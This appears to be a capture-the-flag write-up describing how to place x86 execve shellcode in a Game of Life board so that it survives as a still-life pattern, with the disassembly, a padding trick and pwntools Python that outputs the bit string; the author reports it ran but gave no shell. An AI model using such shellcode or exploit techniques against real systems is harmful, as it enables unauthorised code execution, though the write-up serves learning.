The server runs a program (game of life) which has a board with cells (bits). After a fixed number of iterations, the simulation stops and the program jumps to the first bit of the memory containing the board. We want to create an input which contains shellcode in this area after  iterations. Obviously, we could choose any shellcode, and run game of life backwards. Cool, let us do that then! Uh-oh, inverting game of life is in fact a very hard problem… so it is not really feasible 😦

What to do, then?

Game of life

Game of life a cellular automata, found by Jon Conway, and is based on the following rules:

1. A cell is born if it has exactly 3 neighbours. Neighbors are defined as adjacent cells in vertical, horistontal and diagonal.
2. A cell dies if it has less than two or more than three neighbors.

Stable code (still life)

Still life consists of cell structures with repeating cycles having period 1. Here are the building blocks I used to craft the shellcode.

         

Of course, the still life is invariant of rotation and mirroring.

Shellcode
So, I tried to find the shortest shellcode that would fit one line (110 bits). This one is 8 bytes. Great.

08048334 <main>:
 8048334:   99                cltd
 8048335:   6a 0b             push   $0xb
 8048337:   58                pop    %eax
 8048338:   60                pusha
 8048339:   59                pop    %ecx
 804833a:   cd 80             int    $0x80

In binary, this translates to:

000001101001100101101010000010110101100001100000010110011100110110000000

Ok, so we note that

110101 ... 01110

cannot be constructed by our building blocks (there most certainly exist such blocks, but I didn’t consider them). So, I use a padding trick. By inserting an operation which does nothing specific

10110011 00000000    mov    bl,0x0

we are able to use the blocks given in previous section. This Python code gives the binary (still-life-solvable) sequence:

from pwn import *
pad = '\xb3\x00'
shellcode = '\x06\x99' + pad + '\x6a\x0b\x58\x60\x59' + pad + '\xcd\x80'
binary_data = ''.join([bin(ord(opcode))[2:].zfill(8) for opcode in shellcode])
context(arch = 'i386', os = 'linux')
print disasm(shellcode)
print binary_data[0:110]

which is

0000011010011001101100110000000001101010000010110101100001100000010110011100110110000000

The following cellular automata is stable, and the first line contains our exploit:

As can be seen in the animation below, we have found a still-life shellcode.

When feeding it to the program, we find that it remains in memory after any number of iterations:

Nice! Unfortunately, the code did not give me a shell, but at least the intended code was executed. I had a lot of fun progressing this far 🙂